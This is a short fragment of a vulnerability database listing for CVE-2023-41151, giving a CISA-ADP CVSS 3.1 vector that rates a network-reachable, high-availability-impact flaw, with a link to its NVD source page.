ADP: CISA-ADP Base Score:- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UIN/S:U/C:N/I:N/A:H

131 Source: https://nvd.nist.gov/vuln/detail/CVE-2023-41151
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